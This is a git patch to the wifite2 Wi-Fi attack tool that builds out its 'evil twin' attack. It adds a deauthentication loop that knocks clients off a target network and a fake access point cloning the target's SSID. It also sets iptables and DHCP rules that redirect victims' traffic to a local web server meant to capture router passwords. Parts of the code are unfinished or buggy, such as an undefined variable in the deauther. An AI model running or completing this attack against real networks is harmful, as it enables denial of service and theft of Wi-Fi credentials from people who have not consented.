From 1dcb23659b980c52accc8960d2c2c2685bb2853a Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 13 May 2018 12:39:28 -0400 Subject: [PATCH] Fixing eviltwin. Lots of changes. --- wifite/args.py | 10 +- wifite/attack/eviltwin.py | 183 +++++++++++++++++++++++--------- wifite/config.py | 69 ++++++++++-- wifite/tools/airmon.py | 38 ++++--- wifite/tools/dnsmasq.py | 34 +++--- wifite/tools/eviltwin_server.py | 68 +++++++----- wifite/tools/hostapd.py | 55 +++++++--- wifite/tools/iptables.py | 32 +++++- wifite/tools/iwconfig.py | 2 +- wifite/util/deauther.py | 56 ++++++++++ wifite/wifite.py | 8 +- 11 files changed, 424 insertions(+), 131 deletions(-) create mode 100644 wifite/util/deauther.py diff --git a/wifite/args.py b/wifite/args.py index ef71b94..a4ab14d 100755 --- a/wifite/args.py +++ b/wifite/args.py @@ -153,7 +153,15 @@ class Arguments(object): action='store_true', dest='use_eviltwin', help=Color.s('Use the "Evil Twin" attack against all targets (default: {G}off{W})')) - # TODO: Args to specify deauth interface, server port, etc. + + group.add_argument('-eti', + '--evitwin-iface', + type=str, + dest='eviltwin_iface', + metavar='[iface]', + default=None, + help=Color.s('Wireless interface to use when creating the Fake AP (evil twin)')) + # TODO: Args to specify other options (server port, etc). def _add_wep_args(self, wep): diff --git a/wifite/attack/eviltwin.py b/wifite/attack/eviltwin.py index 2a149ce..a03d6d4 100644 --- a/wifite/attack/eviltwin.py +++ b/wifite/attack/eviltwin.py @@ -4,88 +4,171 @@ import time from ..model.attack import Attack +from ..tools.airodump import Airodump +from ..tools.dnsmasq import Dnsmasq +from ..tools.hostapd import Hostapd from ..tools.ifconfig import Ifconfig from ..tools.iptables import Iptables from ..tools.eviltwin_server import EviltwinServer from ..util.color import Color +from ..util.deauther import Deauther from ..config import Configuration class EvilTwinAttack(Attack): - def __init__(self, target): + ''' + Monitor-mode card should be used for deauthing (packet injection). + Other card can be put into AP mode. + ''' + + def __init__(self, target, deauth_iface, ap_iface): super(EvilTwinAttack, self).__init__(target) + + # Args self.target = target + self.deauth_iface = deauth_iface + self.ap_iface = ap_iface + + # State self.success = False self.completed = False self.crack_result = None + self.error_msg = None - self.crack_result = None + # Processes self.hostapd = None self.dnsmasq = None + self.webserver = None + self.deauther = None - self.deauther = None # Mdk3Deauther? + + def run(self): + #raise Exception('Eviltwin attack not implemented yet, see https://github.com/derv82/wifite2/issues/81') + + # Start airodump on deuath iface, wait for target, etc. + try: + + with Airodump(channel=self.target.channel, + target_bssid=self.target.bssid, + skip_wps=True, # Don't check for WPS-compatibility + output_file_prefix='airodump') as airodump: + Color.clear_line() + Color.p('\r{+} {O}waiting{W} for target to appear...') + airodump_target = self.wait_for_target(airodump) + Color.clear_entire_line() + + self.pattack(airodump_target, 'setting up {C}%s{W}' % self.ap_iface) + Ifconfig.up(self.ap_iface, ['10.0.0.1/24']) + Color.clear_entire_line() + + self.pattack(airodump_target, 'configuring {C}iptables{W}') + self.configure_iptables(self.ap_iface) + Color.clear_entire_line() + + self.pattack(airodump_target, 'enabling {C}port forwarding{W}') + self.set_port_forwarding(enabled=True) + Color.clear_entire_line() + + self.pattack(airodump_target, 'starting {C}hostapd{W} on {C}%s{W}' % self.ap_iface) + self.hostapd = Hostapd(self.target, self.ap_iface) + self.hostapd.start() + Color.clear_entire_line() + + self.pattack(airodump_target, 'starting {C}dnsmasq{W} on {C}%s{W}' % self.ap_iface) + self.dnsmasq = Dnsmasq(self.ap_iface) + self.dnsmasq.start() + Color.clear_entire_line() + + self.pattack(airodump_target, 'starting {C}evil webserver{W}...') + self.webserver = EviltwinServer(self.success_callback, self.error_callback) + self.webserver.start() + Color.clear_entire_line() + + self.pattack(airodump_target, 'starting {C}deauther{W}...') + self.deauther = Deauther(self.deauth_iface, self.target) + #self.deauther.start() + Color.clear_entire_line() + + while not self.completed: + time.sleep(1) + airodump_target = self.wait_for_target(airodump) + + # TODO: Check hostapd, dnsmasq, and webserver statistics + self.pattack(airodump_target, 'waiting for clients') + + # Update deauther with latest client information + self.deauther.update_target(airodump_target) + + except KeyboardInterrupt: + # Cleanup + Color.pl('\n{!} {O}Interrupted{W}') + + if self.success: + # TODO: print status & save + self.cleanup() + return + + if self.error_msg: + self.cleanup() + raise Exception(self.error_msg) + + self.cleanup() + + + def pattack(self, airodump_target, status): + Color.pattack('EvilTwin', airodump_target, 'attack', status) def success_callback(self, crack_result): - # TODO: Stop all processes & reset IP tables + # Called by webserver when we get a password self.crack_result = crack_result self.success = True self.completed = True + def status_callback(self, status_message): + # Called by webserver on status update + pass + + def error_callback(self, error_msg): + # Called by webserver on error / failure self.completed = True - - - def run(self): - # Take interface out of monitor mode - raise Exception('Eviltwin attack not implemented yet, see https://github.com/derv82/wifite2/issues/81') - - monitor_interface = Configuration.interface - (_, base_interface) = Airmon.stop(monitor_interface) - - Ifconfig.up(base_interface, ['10.0.0.1/24']) - - self.configure_iptables(base_interface) - - self.hostapd = Hostapd(self.target) - self.hostapd.start(base_interface) - - server = EviltwinServer() - server.serve_forever() - - try: - while not self.completed: - time.sleep(1) - except KeyboardInterrupt as e: - self.cleanup() - raise e - - if self.success: - print status, save - return - - if self.error_msg: - raise Exception(self.error_msg) + self.error_msg = error_msg def cleanup(self): - ''' - TODO: - * Kill all processes - * Delete config files from temp - * Reset iptables - * Reset interface state? - ''' - pass + if self.dnsmasq: + self.dnsmasq.stop() - def set_port_forwrading(self, enabled=True): + if self.hostapd: + self.hostapd.stop() + + if self.webserver: + self.webserver.stop() + # From https://stackoverflow.com/a/268686 + + if self.deauther: + self.deauther.stop() + + self.set_port_forwarding(enabled=False) + + Iptables.flush() #iptables -F + Iptables.flush(table='nat') #iptables -t nat -F + Iptables.flush(table='mangle') #iptables -t mangle -F + + Iptables.delete_chain() #iptables -X + Iptables.delete_chain(table='nat') #iptables -t nat -X + Iptables.delete_chain(table='mangle') #iptables -t mangle -X + + + def set_port_forwarding(self, enabled=True): # echo "1" > /proc/sys/net/ipv4/ip_forward - # TODO: Are there other ways to do this? + # TODO: Are there other/better ways to do this? with open('/proc/sys/net/ipv4/ip_forward', 'w') as ip_forward: ip_forward.write('1' if enabled else '0') - def configure_iptables(self, base_interface): + def configure_iptables(self, interface): # iptables -N internet -t mangle Iptables.new_chain('internet', 'mangle') @@ -110,12 +193,10 @@ class EvilTwinAttack(Attack): '--to-destination', '10.0.0.1', ]) - self.set_port_forwarding(enabled=True) - #iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT Iptables.append('FORWARD', rules=[ '--in-interface', 'eth0', - '--out-interface', base_interface, + '--out-interface', interface, '--match', 'state', '--state', 'ESTABLISHED,RELATED', '--jump', 'ACCEPT', @@ -130,7 +211,7 @@ class EvilTwinAttack(Attack): #iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT Iptables.append('FORWARD', rules=[ - '--in-interface', base_interface, + '--in-interface', interface, '--out-interface', 'eth0', '--jump', 'ACCEPT', ]) diff --git a/wifite/config.py b/wifite/config.py index 1ac19ad..4fe9864 100755 --- a/wifite/config.py +++ b/wifite/config.py @@ -4,6 +4,8 @@ import os from .util.color import Color +from .util.input import raw_input +from .tools.iwconfig import Iwconfig from .tools.macchanger import Macchanger class Configuration(object): @@ -55,8 +57,7 @@ class Configuration(object): # EvilTwin variables cls.use_eviltwin = False cls.eviltwin_port = 80 - cls.eviltwin_deauth_iface = None - cls.eviltwin_fakeap_iface = None + cls.eviltwin_iface = None # WEP variables cls.wep_filter = False # Only attack WEP networks @@ -122,9 +123,52 @@ class Configuration(object): if cls.random_mac: Macchanger.random() - @staticmethod - def get_wireless_interface(): - pass + @classmethod + def get_eviltwin_interface(cls): + if cls.eviltwin_iface is None: + Color.pl('\n{+} {G}Evil Twin attack{W}') + Color.p('{+} looking for wireless interfaces in "Managed" mode... ') + + ifaces = Iwconfig.get_interfaces(mode='Managed') + + if len(ifaces) == 0: + Color.pl('\n{!} {O}no other wireless interfaces in "Managed" mode!{W}') + raise Exception('eviltwin attack requires two wireless cards (1 monitor-mode, 1 managed-mode)') + + Color.clear_entire_line() + + while True: + # Ask user to select eviltwin interface + Color.pl(' select the interface for the {C}evil twin{W} access point:') + for index, iface in enumerate(ifaces, start=1): + Color.pl(' {G}%d{W}. {C}%s{W}' % (index, iface)) + + question = '{+} enter number ({G}' + if len(ifaces) == 1: + question += '1' + else: + question += '1-%d' % len(ifaces) + question += '{W}): ' + selection = raw_input(Color.s(question)) + + if selection.strip() in ifaces: + selection = str(ifaces.index(selection.strip()) + 1) + + elif not selection.isdigit(): + Color.pl('\n{!} {O}selection must be numeric{W}') + continue + + selection = int(selection) + + if selection < 1 or selection > len(ifaces): + Color.pl('\n{!} {O}selection must be between {R}1{O} and {R}%d{W}' % len(ifaces)) + continue + + break + + cls.eviltwin_iface = ifaces[selection - 1] + + return cls.eviltwin_iface @classmethod def load_from_arguments(cls): @@ -175,10 +219,23 @@ class Configuration(object): cls.kill_conflicting_processes = True Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}') + # EvilTwin + if args.eviltwin_iface: + # Check that eviltwin_iface exists in iwconfig + existing_ifaces = Iwconfig.get_interfaces() + if args.eviltwin_iface not in existing_ifaces: + raise Exception('Interface "%s" was not found by iwconfig (found %s)' % (args.eviltwin_iface, ','.join(existing_ifaces))) + # TODO: Put device into managed mode? + + cls.eviltwin_iface = args.eviltwin_iface + Color.pl('{+} {C}option:{W} using {G}%s{W} to create fake AP for evil twin attacks' % cls.eviltwin_iface) + if args.use_eviltwin: + # TODO: Or ask user to select a different wireless device? cls.use_eviltwin = True - Color.pl('{+} {C}option:{W} using {G}eviltwin attacks{W} against all targets') + Color.pl('{+} {C}option:{W} attacking all targets using {G}eviltwin attacks{W}') + # WEP if args.wep_filter: diff --git a/wifite/tools/airmon.py b/wifite/tools/airmon.py index 1a29d66..f0adcc8 100755 --- a/wifite/tools/airmon.py +++ b/wifite/tools/airmon.py @@ -21,13 +21,13 @@ class AirmonIface(object): self.chipset = chipset self.mac_address = Ifconfig.get_mac(interface) - # Max length of fields. - # Used for printing a table of interfaces. + # Max length of fields. Used for printing a table of interfaces. INTERFACE_LEN = 12 PHY_LEN = 6 DRIVER_LEN = 20 CHIPSET_LEN = 30 + def __str__(self): ''' Colored string representation of interface ''' s = '' @@ -37,6 +37,7 @@ class AirmonIface(object): s += Color.s('{W}%s' % self.chipset.ljust(self.CHIPSET_LEN)) return s + @staticmethod def menu_header(): ''' Colored header row for interfaces ''' @@ -52,12 +53,13 @@ class AirmonIface(object): class Airmon(Dependency): ''' Wrapper around the 'airmon-ng' program ''' + dependency_required = True dependency_name = 'airmon-ng' dependency_url = 'https://www.aircrack-ng.org/install.html' - base_interface = None - killed_network_manager = False + base_interface = None # Interface *before* it was put into monitor mode. + killed_network_manager = False # If we killed network-manager # Drivers that need to be manually put into monitor mode BAD_DRIVERS = ['rtl8821au'] @@ -66,18 +68,16 @@ class Airmon(Dependency): ARPHRD_IEEE80211_RADIOTAP = 803 #monitor def __init__(self): - self.refresh() - - def refresh(self): - ''' Get airmon-recognized interfaces ''' self.interfaces = Airmon.get_interfaces() + def print_menu(self): ''' Prints menu ''' print(AirmonIface.menu_header()) for idx, iface in enumerate(self.interfaces, start=1): Color.pl(" {G}%d{W}. %s" % (idx, iface)) + def get(self, index): ''' Gets interface at index (starts at 1) ''' if type(index) is str: @@ -105,6 +105,7 @@ class Airmon(Dependency): return interfaces + @staticmethod def start_bad_driver(iface): ''' @@ -124,6 +125,7 @@ class Airmon(Dependency): return None + @staticmethod def stop_bad_driver(iface): ''' @@ -143,6 +145,7 @@ class Airmon(Dependency): return None + @staticmethod def start(iface): ''' @@ -197,18 +200,26 @@ class Airmon(Dependency): return enabled_iface + @staticmethod def _parse_airmon_start(airmon_output): - '''Find the interface put into monitor mode (if any)''' + '''Returns the interface name that was put into monitor mode (if any)''' # airmon-ng output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon) enabled_re = re.compile(r'\s*\(mac80211 monitor mode (?:vif )?enabled for [^ ]+ on (?:\[\w+\])?(\w+)\)\s*') + # airmon-ng output from https://www.aircrack-ng.org/doku.php?id=iwlagn + enabled_re2 = re.compile(r'\s*\(monitor mode enabled on (\w+)\)') + for line in airmon_output.split('\n'): matches = enabled_re.match(line) if matches: return matches.group(1) + matches = enabled_re2.match(line) + if matches: + return matches.group(1) + return None @@ -275,15 +286,16 @@ class Airmon(Dependency): Airmon.terminate_conflicting_processes() - Color.pl('\n{+} looking for {C}wireless interfaces{W}') + Color.p('\n{+} looking for {C}wireless interfaces{W}... ') monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor') if len(monitor_interfaces) == 1: # Assume we're using the device already in montior mode iface = monitor_interfaces[0] - Color.pl(' using interface {G}%s{W} (already in monitor mode)' % iface); - Color.pl(' you can specify the wireless interface using {C}-i wlan0{W}') + Color.pl('using interface {G}%s{W} (already in monitor mode)' % iface); + #Color.pl(' you can specify the wireless interface using {C}-i wlan0{W}') Airmon.base_interface = None return iface + Color.pl('') a = Airmon() count = len(a.interfaces) @@ -364,6 +376,7 @@ class Airmon(Dependency): Ifconfig.up(iface) Color.pl(" {G}done{W}") + @staticmethod def start_network_manager(): Color.p("{!} {O}restarting {R}NetworkManager{O}...") @@ -404,3 +417,4 @@ if __name__ == '__main__': (disabled_iface, enabled_iface) = Airmon.stop(iface) print("Disabled:", disabled_iface) print("Enabled:", enabled_iface) + diff --git a/wifite/tools/dnsmasq.py b/wifite/tools/dnsmasq.py index 9a5d978..a9dff79 100755 --- a/wifite/tools/dnsmasq.py +++ b/wifite/tools/dnsmasq.py @@ -9,6 +9,7 @@ from ..config import Configuration class Dnsmasq(Dependency): '''Wrapper for dnsmasq program.''' + dependency_required = False dependency_name = 'dnsmasq' dependency_url = 'apt-get install dnsmasq' @@ -16,14 +17,15 @@ class Dnsmasq(Dependency): def __init__(self, interface): self.interface = interface self.pid = None + self.config_file = None def create_config_file(self): - config_file = os.path.join(Configuration.temp(), 'dnsmasq.conf') - if os.path.exists(config_file): - os.remove(config_file) + self.config_file = os.path.join(Configuration.temp(), 'dnsmasq.conf') + if os.path.exists(self.config_file): + os.remove(self.config_file) - with open(config_file, 'w') as config: + with open(self.config_file, 'w') as config: config.write('interface={}\n'.format(self.interface)) config.write('dhcp-range=10.0.0.10,10.0.0.100,8h\n') config.write('dhcp-option=3,10.0.0.1\n') @@ -31,11 +33,10 @@ class Dnsmasq(Dependency): config.write('server=8.8.8.8\n') config.write('log-queries\n') config.write('log-dhcp\n') - return config_file def start(self): - config_file = self.create_config_file() + self.create_config_file() # Stop already-running dnsmasq process self.killall() @@ -43,25 +44,28 @@ class Dnsmasq(Dependency): # Start new dnsmasq process self.pid = Process([ 'dnsmasq', - '-C', config_file + '-C', self.config_file ]) def stop(self): # Kill dnsmasq process - if self.pid: + if self.pid and self.pid.poll() is not None: self.pid.interrupt() + self.killall() - # TODO: Wait until dnsmasq is completely stopped. - - def check(self): - # TODO: Check if dnsmasq is still running, if there's any errors in the logs, etc. - if self.pid.poll() is not None: - # Process stopped - pass + if self.config_file and os.path.exists(self.config_file): + os.remove(self.config_file) def killall(self): Process(['killall', 'dnsmasq']).wait() + # TODO: Wait until dnsmasq is completely stopped. + + + def check(self): + if self.pid.poll() is not None: + raise Exception('dnsmasq stopped running, exit code: %d, output: %s' % (self.pid.poll(), self.pid.stdout())) + # TODO: Check logs/output for problems diff --git a/wifite/tools/eviltwin_server.py b/wifite/tools/eviltwin_server.py index 82885ae..9c45b19 100644 --- a/wifite/tools/eviltwin_server.py +++ b/wifite/tools/eviltwin_server.py @@ -2,42 +2,71 @@ # -*- coding: utf-8 -*- from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler +from threading import Thread -class EviltwinServer(HTTPServer): +class EviltwinServer(HTTPServer, object): - def __init__(self, success_callback, port=80): - super(EviltwinServer, self).__init__('', port, EviltwinRequestHandler) + def __init__(self, success_callback, error_callback, port=80): + self.thread = None + # Store state in server + self.success_callback = success_callback + self.error_callback = error_callback + self.request_count = 0 + self.router_pages_served = 0 + # Initialize with our request handler + super(EviltwinServer, self).__init__(('', port), EviltwinRequestHandler) + def start(self): + self.thread = Thread(target=self.serve_forever) + self.thread.start() - def serve_forever(self): - super(EviltwinServer, self).serve_forever() + def stop(self): + # From https://stackoverflow.com/a/268686 + self.shutdown() + self.socket.close() + + if self.thread: + self.thread.join() + + def request_count(self): + return self.request_count + + def router_pages_served(self): + return self.router_pages_served class EviltwinRequestHandler(BaseHTTPRequestHandler): - def __init__(self, success_callback): - self.success_callback = success_callback - def do_GET(self): + self.server.request_count += 1 request_path = self.path - # TODO: URL mappings to load specific pages. + # TODO: URL mappings to load specific pages. E.g. Apple/Android "pings" - print("\n----- Request Start ----->\n") + print('\n----- Request Start ----->\n') print(request_path) print(self.headers) - print("<----- Request End -----\n") + print('<----- Request End -----\n') self.send_response(200) - self.send_header("Set-Cookie", "foo=bar") + self.send_header('Content-type', 'text/html') + self.end_headers() + self.wfile.write('Title goes here.') + self.wfile.write('

This is a test.

') + # If someone went to 'http://something.somewhere.net/foo/bar/', + # then s.path equals '/foo/bar/'. + self.wfile.write('

You accessed path: %s

' % self.path) + self.wfile.write('') + def do_POST(self): + self.server.request_count += 1 request_path = self.path - # TODO: If path includes router password, call self.success_callback + # TODO: If path includes router password, call self.server.success_callback # TODO: Verify router passwords via separate interface? - print("\n----- Request Start ----->\n") + print('\n----- Request Start ----->\n') print(request_path) request_headers = self.headers @@ -46,19 +75,10 @@ class EviltwinRequestHandler(BaseHTTPRequestHandler): print(request_headers) print(self.rfile.read(length)) - print("<----- Request End -----\n") + print('<----- Request End -----\n') self.send_response(200) do_PUT = do_POST do_DELETE = do_GET - -if __name__ == "__main__": - parser = OptionParser() - parser.usage = ("Creates an http-server that will echo out any GET or POST parameters\n" - "Run:\n\n" - " reflect") - (options, args) = parser.parse_args() - - main() diff --git a/wifite/tools/hostapd.py b/wifite/tools/hostapd.py index d3a786c..342a2a6 100755 --- a/wifite/tools/hostapd.py +++ b/wifite/tools/hostapd.py @@ -6,6 +6,7 @@ import os from .dependency import Dependency from ..config import Configuration +from ..util.process import Process class Hostapd(Dependency): process_name = 'hostapd' @@ -14,6 +15,7 @@ class Hostapd(Dependency): dependency_name = process_name dependency_url = 'apt-get install hostapd' + @classmethod def exists(cls): return Process.exists(cls.process_name) @@ -23,52 +25,71 @@ class Hostapd(Dependency): self.target = target self.interface = interface self.pid = None - # Save hostapd state? + self.config_file = None + self.output_file = None + self.output_write = None + self.state = 'Initializing' def create_config_file(self): if not self.target.essid_known: + self.state = 'Error: Target ESSID is not known' raise Exception('Cannot start hostapd if target has unknown SSID') - config_file = os.path.abspath(os.path.join(Configuration.temp(), 'hostapd.conf')) + self.config_file = os.path.abspath(os.path.join(Configuration.temp(), 'hostapd.conf')) - with open(config_file, 'w') as config: + with open(self.config_file, 'w') as config: config.write('driver=nl80211\n') config.write('ssid={}\n'.format(self.target.essid)) - config.write('hw_mode=g\n') # TODO: support 5ghz + # TODO: support 5ghz + config.write('hw_mode=g\n') config.write('channel={}\n'.format(self.target.channel)) config.write('logger_syslog=-1\n') config.write('logger_syslog_level=2\n') - return config_file - def start(self): - config_file = self.create_config_file() + self.create_config_file() self.killall() + temp = Configuration.temp() + self.output_file = os.path.abspath(os.path.join(temp, 'hostapd.out')) + self.output_write = open(self.output_file, 'a') + self.pid = Process([ - self.process_name, - '-C', config_file, - '-i', self.interface - ]) + self.process_name, + '-C', self.config_file, + '-i', self.interface + ], + stdout=self.output_write, + cwd=temp + ) def stop(self): - if self.pid: + if self.pid and self.pid.poll() is not None: self.pid.interrupt() + self.killall() # TODO: Wait until hostapd is completely stopped. + if self.output_write: + self.output_write.close() - def check(self): - # TODO: Check if hostapd is still running, if there's any errors in the logs, etc. - if self.pid.poll() is not None: - # Process stopped - pass + if self.config_file and os.path.exists(self.config_file): + os.remove(self.config_file) + + if self.output_file and os.path.exists(self.output_file): + os.remove(self.output_file) def killall(self): Process(['killall', self.process_name]).wait() + + def check(self): + if self.pid.poll() is not None: + raise Exception('hostapd stopped running, exit code: %d, output: %s' % (self.pid.poll(), self.pid.stdout())) + # TODO: Check hostapd logs / output for any problems. + diff --git a/wifite/tools/iptables.py b/wifite/tools/iptables.py index 0609974..b0064c2 100644 --- a/wifite/tools/iptables.py +++ b/wifite/tools/iptables.py @@ -4,14 +4,17 @@ import re from .dependency import Dependency +from ..util.process import Process class Iptables(Dependency): + process_name = 'iptables' dependency_required = False dependency_name = process_name dependency_url = 'apt-get install iptables' + @classmethod def exists(cls): return Process.exists(cls.process_name) @@ -19,6 +22,8 @@ class Iptables(Dependency): @classmethod def __exec(cls, args, expect_return_code=0): + # Helper method for executing iptables commands. + if type(args) is str: args = args.split(' ') @@ -30,12 +35,13 @@ class Iptables(Dependency): raise Exception('Error executing %s:\n%s\n%s' % (' '.join(command), pid.stdout(), pid.stderr())) + # -N, --new-chain @classmethod def new_chain(cls, chain_name, table): - command = ['-N', name, '-t', table] - cls.__exec(command) - + args = ['-N', chain_name, '-t', table] + cls.__exec(args) + # -A, --append @classmethod def append(cls, chain, table=None, rules=[]): args = [] @@ -45,3 +51,23 @@ class Iptables(Dependency): args.extend(rules) cls.__exec(args) + + # -F, --flush + @classmethod + def flush(cls, table=None): + args = [] + if table is not None: + args.extend(['-t', table]) + args.append('-F') + cls.__exec(args) + + + # -X, --delete-chain + @classmethod + def delete_chain(cls, table=None): + args = [] + if table is not None: + args.extend(['-t', table]) + args.append('-X') + cls.__exec(args) + diff --git a/wifite/tools/iwconfig.py b/wifite/tools/iwconfig.py index 9cea05d..74b9f2e 100755 --- a/wifite/tools/iwconfig.py +++ b/wifite/tools/iwconfig.py @@ -41,7 +41,7 @@ class Iwconfig(Dependency): if mode is None: interfaces.add(iface) - if mode is not None and 'Mode:{}'.format(mode) in line: + if mode is not None and 'mode:{}'.format(mode.lower()) in line.lower(): interfaces.add(iface) return list(interfaces) diff --git a/wifite/util/deauther.py b/wifite/util/deauther.py new file mode 100644 index 0000000..a8bdc49 --- /dev/null +++ b/wifite/util/deauther.py @@ -0,0 +1,56 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +import time + +from ..tools.aireplay import Aireplay +from ..tools.ifconfig import Ifconfig + +class Deauther(object): + ''' + Deauthenticates clients associated with a target. + For use with EvilTwin. + ''' + + def __init__(self, interface, target): + self.interface = interface + self.interface_mac = Ifconfig.get_mac(interface) + self.target = target + self.running = False + self.clients = set() + + + def update_target(self, target): + # Refresh target (including list of clients) + self.target = target + + + def update_clients(self): + # Refreshes list of clients connected to target + for client in self.target.clients: + bssid = client.station + if bssid.lower() == self.interface_mac: + continue # Ignore this interface + elif bssid not in self.clients: + self.clients.add(bssid) + + + def start(self): + self.running = True + + while self.running: + # Refresh list of clients + self.update_clients() + + # Deauth clients + bssid = self.target.bssid + essid = self.target.essid if self.target.essid_known else None + for client_mac in clients: + Aireplay.deauth(bssid, essid=essid, client_mac=client_mac) + + time.sleep(1) + + + def stop(self): + self.running = False + diff --git a/wifite/wifite.py b/wifite/wifite.py index e04df9e..c8eb37e 100755 --- a/wifite/wifite.py +++ b/wifite/wifite.py @@ -41,8 +41,10 @@ class Wifite(object): elif Configuration.check_handshake: self.check_handshake(Configuration.check_handshake) + elif Configuration.crack_handshake: CrackHandshake() + else: Configuration.get_monitor_mode_interface() self.run() @@ -146,6 +148,10 @@ class Wifite(object): else: targets = s.select_targets() + if Configuration.use_eviltwin: + # Ask user to select interface if needed + Configuration.get_eviltwin_interface() + attacked_targets = 0 targets_remaining = len(targets) for idx, t in enumerate(targets, start=1): @@ -159,7 +165,7 @@ class Wifite(object): # TODO: Check if Eviltwin attack is selected. if Configuration.use_eviltwin: - attack = EvilTwinAttack(t) + attack = EvilTwinAttack(t, Configuration.interface, Configuration.eviltwin_iface) elif 'WEP' in t.encryption: attack = AttackWEP(t)